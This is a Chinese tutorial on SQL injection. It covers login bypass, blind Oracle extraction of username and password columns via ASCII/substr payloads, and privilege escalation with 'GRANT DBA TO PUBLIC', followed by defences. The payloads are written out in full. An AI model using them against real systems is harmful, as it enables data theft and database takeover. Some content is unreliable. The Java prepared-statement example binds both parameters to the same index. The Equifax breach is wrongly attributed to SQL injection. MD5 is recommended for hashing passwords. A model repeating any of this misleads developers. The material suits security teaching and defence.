一文搞懂SQL注入攻擊
目錄
- 1. 前言
- 2. SQL注入簡介
- (1)SQL語言
- (2)SQL注入
- 3. SQL注入步驟
- (1)發(fā)現(xiàn)漏洞
- (2)信息收集
- (3)攻擊Web系統(tǒng)(猜解用戶名和密碼)
- (4)獲取管理員權(quán)限
- 4. 防范SQL注入
- (1)使用參數(shù)化查詢或存儲過程
- (2)用戶輸入檢測
- (3)SQL語法分析
- (4)其他
1. 前言
隨著互聯(lián)網(wǎng)的發(fā)展和普及,網(wǎng)絡(luò)安全問題越來越突出,網(wǎng)絡(luò)在為用戶提供越來越多服務(wù)的同時,也要面對各類越來越復(fù)雜的惡意攻擊。SQL注入(SQL Injection)攻擊是其中最普遍的安全隱患之一,它利用應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的信任,將惡意SQL代碼注入到應(yīng)用程序中,從而執(zhí)行攻擊者的操作。這種攻擊可以導(dǎo)致敏感信息泄露、數(shù)據(jù)損壞或刪除及系統(tǒng)癱瘓,給企業(yè)和個人帶來巨大損失。因此,如何防范SQL注入攻擊成為了網(wǎng)絡(luò)安全領(lǐng)域的一個重要議題。
在國外,SQL注入最早出現(xiàn)在1999年;在我國大約出現(xiàn)在2002年。2015年,約翰·卡特爾(John McAfee)的網(wǎng)站遭到了SQL注入攻擊,導(dǎo)致黑客獲取了網(wǎng)站上全部的注冊用戶信息。2016年,Yahoo公司披露了兩起大規(guī)模數(shù)據(jù)泄露事件,其中涉及的一次就是通過SQL注入攻擊獲得的。2017年,Equifax公司遭到了一次嚴重的數(shù)據(jù)泄露事件,泄露了超過1.43億條用戶記錄。調(diào)查人員發(fā)現(xiàn),攻擊者使用了SQL注入攻擊。
可見,SQL注入攻擊破壞敏感數(shù)據(jù)的完整性和可用性,給網(wǎng)絡(luò)用戶和企業(yè)造成了巨大的生活困擾和經(jīng)濟損失。
2. SQL注入簡介
(1)SQL語言
Structured Query Language(簡稱SQL)是—種結(jié)構(gòu)化查詢語言,一種數(shù)據(jù)庫文本語言。SQL用于同關(guān)系數(shù)據(jù)庫進行交互,能夠執(zhí)行對數(shù)據(jù)庫的查詢、獲取數(shù)據(jù)庫的信息、向數(shù)據(jù)庫插入新的紀錄、刪除及更新數(shù)據(jù)庫中的記錄。
SQL有很多種類,但大多都基于ANSI標準SQL-92。SQL執(zhí)行的單位是一個“query”,該“query”可以是一系列語句集合,返回一個結(jié)果集。SQL語句可以修改數(shù)據(jù)庫結(jié)構(gòu)(使用數(shù)據(jù)定義語言DDL)和操作數(shù)據(jù)庫內(nèi)容(使用數(shù)據(jù)操作語言DML)。SQL語言本身造成了SQL注入漏洞,給SQL注入攻擊帶來了可能性。
(2)SQL注入
SQL注入攻擊是一種利用應(yīng)用程序漏洞的攻擊方式。攻擊者通過向應(yīng)用程序發(fā)送構(gòu)造的惡意SQL語句,欺騙應(yīng)用程序執(zhí)行這些SQL語句,如果Web應(yīng)用沒有適當?shù)尿炞C用戶輸入的信息,攻擊者就有可能改變后臺執(zhí)行的SQL語句的結(jié)構(gòu),獲取相應(yīng)結(jié)果。攻擊者可以利用SQL注入漏洞獲取數(shù)據(jù)庫中的敏感信息,修改或刪除數(shù)據(jù)庫中的數(shù)據(jù),或者完全控制Web服務(wù)器。
比如基于表單登錄功能的應(yīng)用程序,通過執(zhí)行一個簡單的SQL查詢來確認每次登錄,以下是這個查詢的一個典型實例:
SELECT * FROM users WHERE username="alice" and password="secret"
這個查詢要求數(shù)據(jù)庫檢查用戶表中的每一行,提取username
值為alice并且password
值為secret的記錄。如果返回一條用戶記錄,該用戶即可成功登錄。
攻擊者可注入用戶名或密碼字段來修改程序執(zhí)行的查詢,一般是輸入雙連字符(--)注釋掉其余部分或類似’ or ‘1’ =‘1
用引號包含的字符串數(shù)據(jù)來“平衡引號”,來破壞查詢的邏輯。比如攻擊者可以通過提交用戶名為alice’--
或alice’ or ‘1’=‘1
,密碼為任意,應(yīng)用程序?qū)?zhí)行以下查詢:
SELECT * FROM users WHERE username="alice"--‘" and password="any"
或
SELECT * FROM users WHERE username=" alice" or ‘1"=‘1" and password="any"
這兩條查詢均等同于
SELECT * FROM users WHERE username="alice"
從而避開了密碼檢查,成功登錄。
因此SQL注入漏洞本質(zhì)上是針對程序員編程中的漏洞,利用SQL的語法在應(yīng)用程序與數(shù)據(jù)庫交互的SQL語句中插入精心編制的額外的SQL語句,從而對數(shù)據(jù)庫進行非法查詢和修改。由于程序運行SQL語句時的權(quán)限與當前該組建(例如,數(shù)據(jù)庫服務(wù)器、Web應(yīng)用服務(wù)器)的權(quán)限相同,而這些組件一般的運行權(quán)限都很高,而且經(jīng)常是以管理員的權(quán)限運行,所以攻擊者可能獲得數(shù)據(jù)庫的完全控制,并執(zhí)行系統(tǒng)命令。
3. SQL注入步驟
SQL注入攻擊有多種類型,包括基于錯誤的注入、聯(lián)合查詢注入、堆疊查詢注入等。其中,基于錯誤的注入是最常見的類型。攻擊者通過發(fā)送包含惡意SQL語句的輸入數(shù)據(jù)來觸發(fā)應(yīng)用程序中的錯誤,從而獲取有關(guān)數(shù)據(jù)庫結(jié)構(gòu)和內(nèi)容的信息。
(1)發(fā)現(xiàn)漏洞
可以用經(jīng)典的1=1,1=2測試法測試SQL注入是否存在。
以http://www.test.com/profile.do?id=113為例,使用以下測試方案:
http://www.test.com/profile.do?id=113’
http://www.test.com/profile.do?id=113 and 1=1
- http://www.test.com/profile.do?id=113 and 1=2
(2)信息收集
確認系統(tǒng)表是否存在,主要利用Oracle數(shù)據(jù)庫中以下系統(tǒng)表:
- all_tables:存放當前ID和其他用戶的所有表
- user_tables:存放當前用戶所有表
- user_tab_columns:存放當前用戶表的所有列
測試以下URL:
http://www.test.com/profile.do?id=113’and 0<>(select count(*) from all_tables) and '1'='1
http://www.test.com/profile.do?id=113’and 0<>(select count(*) from user_tables)and '1'='1
http://www.test.com/profile.do?id=113’and 0<>(select count(*) from user_tab_ columns) and '1'='1
如果以上頁面都能正確返回,說明存在猜測的系統(tǒng)表。
(3)攻擊Web系統(tǒng)(猜解用戶名和密碼)
首先查找當前用戶是否有敏感列名:
"and 0<>(select count(*) from user_tab_columns where column_name like "%25PASS%25") and "1"="1
正常返回說明存在類似PASS的字段,猜解該字段對應(yīng)的表名。先確定表名的長度(不斷改變length(table_name)后的數(shù)值):
"and 0<>(select count(*) from user_tables where length(table_name)>8 and table_ name like"%25PASS%25") and "1"="1
利用ASCII二分法猜解表名(不斷改變substr函數(shù)的參數(shù)及比較值):
"and (ascii(substr((select table_name from user_tab_columns where column_name like "%PASS%" And Rownum<=1),1,1))>64) and "1"="1
猜字段同樣先確定長度,然后利用ASCII二分法猜解字段名:
"and 0<>(select count(*) from user_tables where table_name="T_SYSUSER"and length (column_ name) >8 and column_name like "%PASS%") and "1"="1
"and (ascii(substr((select column_name from user_tab_columns where table_name ="T_SYSUSER" and column_name like "%25PASS%25"),1,1))>64) and "1"="1
得到用戶表的USERNAME
和PASSWD
兩列的名稱后,依然是利用ASCII碼猜解法來一步一步確定USERNAME
和PASSWD
的值,不再詳述。
(4)獲取管理員權(quán)限
要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。Oracle包含許多可在數(shù)據(jù)庫管理員權(quán)限下運行的內(nèi)置存儲過程,并發(fā)現(xiàn)在這些存儲過程中存在SQL注入漏洞。2006年7月補丁發(fā)布之前,存在于默認包SYS.DBMS_ EXPORT_EXTERSION.GET_DOMAIN_INDEX_TABLES中的缺陷就是一個典型的示例。攻擊者可以利用這個缺陷,在易受攻擊的字段中注入GRANT DBA TO PUBLIC查詢(需要換成char形式)來提升權(quán)限。
這種類型的攻擊可通過利用Web程序中的SQL注入漏洞,在易受攻擊的參數(shù)中輸入函數(shù)來實現(xiàn)。許多其他類型的缺陷也影響到Oracle的內(nèi)置組件。一個示例是CTXSYS.DRILOAD.VALIDATE_STMT函數(shù)。這個函數(shù)的目的是檢查一個指定的字符串中是否包含一個有效的SQL語句。早期Oracle版本中,在確定被提交的語句的過程中,這個函數(shù)實際執(zhí)行了該語句。這意味著任何用戶只需向這個函數(shù)提交一個語句,就能夠作為數(shù)據(jù)庫管理員執(zhí)行該語句。例如:
exec CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO PUBLIC")
除這些漏洞外,Oracle還含有大量默認功能,這些功能可被低權(quán)限用戶訪問,并可用于執(zhí)行各種敏感操作,建立網(wǎng)絡(luò)連接或訪問文件系統(tǒng)。比如,可利用UTL_HTTP
包里面的 request
函數(shù)構(gòu)造注射,來建立用戶,并賦予DBA權(quán)限。
4. 防范SQL注入
(1)使用參數(shù)化查詢或存儲過程
參數(shù)化查詢分兩個步驟建立一個包含用戶輸入的SQL語句:
- 應(yīng)用程序制定查詢結(jié)構(gòu),為用戶輸入的每個數(shù)據(jù)預(yù)留占位符;
- 應(yīng)用程序制定每個占位符的內(nèi)容。
在第二步中指定的專門設(shè)計的數(shù)據(jù)無法破壞在第一步中指定的查詢結(jié)構(gòu)。由于查詢結(jié)構(gòu)已經(jīng)確定,且相關(guān)API 對任何類型的占位符數(shù)據(jù)進行安全處理,因此它總被解釋為數(shù)據(jù),而非語句結(jié)構(gòu)的一部分。
Java提供以下API,允許應(yīng)用程序創(chuàng)建一個預(yù)先編譯的SQL語句,并以可靠且類型安全的方式指定它的參數(shù)占位符的值:
java.sql.Connection.prepareStatement java.sql.PrepareStatement.*
使用如下:
String username = request.getParameter("j_username"); String passwd = request.getParameter("j_password"); String query = "select * from t_sysuser where username=? and passwd=?"; PreparedStatement stmt = con.prepareStatement(query); stmt.setString(1, username); stmt.setString(1, passwd); ResultSet rs=stmt.executeQuery();
如果用戶提交的用戶名為alice’ or 1=1--
,密碼為any
,生成的查詢等同于:
select * from t_sysuser where username= ‘a(chǎn)lice" ‘or 1=1--" and passwd="any"
由此可見使用參數(shù)化查詢可以有效防止SQL注入,應(yīng)在每一個數(shù)據(jù)庫查詢中使用參數(shù)化查詢。如果僅注意用戶直接提交的輸入,二階SQL注入攻擊就很容易被忽略因為已經(jīng)被處理的數(shù)據(jù)被認為是可信的。另外參數(shù)占位符不能用于指定查詢中表和列的名稱,如果應(yīng)用程序需要根據(jù)用戶提交的數(shù)據(jù)在SQL查詢中指定這些數(shù)據(jù)行,需要使用一份由已知可靠的值組成的“白名單”(即數(shù)據(jù)庫中表和列的名稱),并拒絕任何與這份名單上數(shù)據(jù)不匹配的輸入項。或者對用戶輸入實施嚴格的確認機制。
使用存儲過程的原理與參數(shù)化查詢類似,傳入的參數(shù)在最后被執(zhí)行的SQL語句中會被數(shù)據(jù)庫服務(wù)器軟件進行處理,使得輸入的字符串會被當作一個單純的文本參數(shù)參與到SQL查詢中。不論是攻擊者輸入什么參數(shù)都不會改變設(shè)計者編寫的SQL語句的語義,也就防止了SQL注入。另外由于存儲過程是預(yù)編譯的,對復(fù)雜的SQL語句,效率有很大程度上的提升,還可以進一步減少查詢時客戶端發(fā)送到服務(wù)端的數(shù)據(jù)包。
(2)用戶輸入檢測
對輸入進行檢測一般是在客戶端和服務(wù)器端利用正則表達式來匹配SQL的特殊字符及其等值的十六進制形式,包括單引號(’)、雙重破折號(–)、SELECT、UNION等查詢關(guān)鍵字,然后對其進行替換或者過濾。但是在所有的接受輸入的程序部分都嚴格的執(zhí)行檢測卻很難,而且會產(chǎn)生誤報。
(3)SQL語法分析
SQL注入根源在于對于用戶提交的請求沒有足夠的驗證機制,正常的用戶輸入是具有邏輯整體含義的簡單結(jié)構(gòu),而實施 SQL 注入的字符串一定是包含 SQL語法片段的復(fù)合結(jié)構(gòu)。 SQL 注入攻擊本質(zhì)上是希望后臺數(shù)據(jù)庫的 SQL 解釋程序按照不同的方式解釋組裝好的 SQL 語句,如果用戶輸入的字符串不包含 SQL 語法片段,顯然無法達到這個目的。
靜態(tài)代碼分析中能從語法、語義上理解程序行為,直接分析被測程序特征,尋找可能導(dǎo)致錯誤的異常。因此可以在服務(wù)器端采用一種類似于靜態(tài)代碼分析的SQL 語法預(yù)分析策略來防止SQL注入。首先將 SQL 注入分類,并對其進行詞法分析和語法分析,抽象出各類注入的語法結(jié)構(gòu),生成語法分析樹;能夠利用該語法分析樹通過機器學(xué)習(xí)的方法來得到預(yù)想的SQL注入的集合,并從該集合中生成新的語法分析樹;然后將用戶提交的輸入預(yù)先組裝成完整的 SQL 語句,對該語句進行語法分析,如果發(fā)現(xiàn)具有 SQL 注入特征的語法結(jié)構(gòu),則判定為 SQL 注入攻擊。判定的唯一依據(jù)是抽象的語法結(jié)串,而非具體的特征字符串,避免了傳統(tǒng)的特征字符串匹配策略固有的高識別率和低誤判率之間的矛盾。
由于SQL注入利用的是正常的服務(wù)端口,在各類Web應(yīng)用中已不能通過使用防火墻,SSL等網(wǎng)絡(luò)層保護技術(shù)來阻止應(yīng)用層攻擊,也就是說安全邊界擴展到了系統(tǒng)源代碼。因此,必須通過防范軟件代碼中存在的安全漏洞,從而保障系統(tǒng)的安全。
(4)其他
通過在程序中對口令等敏感信息加密,(一般采用MD5函數(shù)),另外在原來的加密的基礎(chǔ)上可以增加一些非常規(guī)的方式,即在MD5加密的基礎(chǔ)上附帶一些值 如密文=MD5 (MD5 (明文)+系統(tǒng)時間);編碼時注意屏蔽網(wǎng)頁上顯示的異常與出錯信息,并對源代碼進行安全審查及軟件安全測試。
安全配置服務(wù)器,包括目錄最小化權(quán)限設(shè)置:給靜態(tài)網(wǎng)頁目錄和動態(tài)網(wǎng)頁目錄分別設(shè)置不同權(quán)限,盡量不給寫目錄權(quán)限;修改或者去掉 Web 服務(wù)器上默認的一些危險命令,例如ftp、cmd等 需要時再復(fù)制到相應(yīng)目錄;正確配置iptables及Oracle的sqlnet.ora文件,通過IP地址限制對于數(shù)據(jù)庫訪問。
以上就是一文搞懂SQL注入攻擊的詳細內(nèi)容,更多關(guān)于SQL注入攻擊的資料請關(guān)注其它相關(guān)文章!
相關(guān)文章:
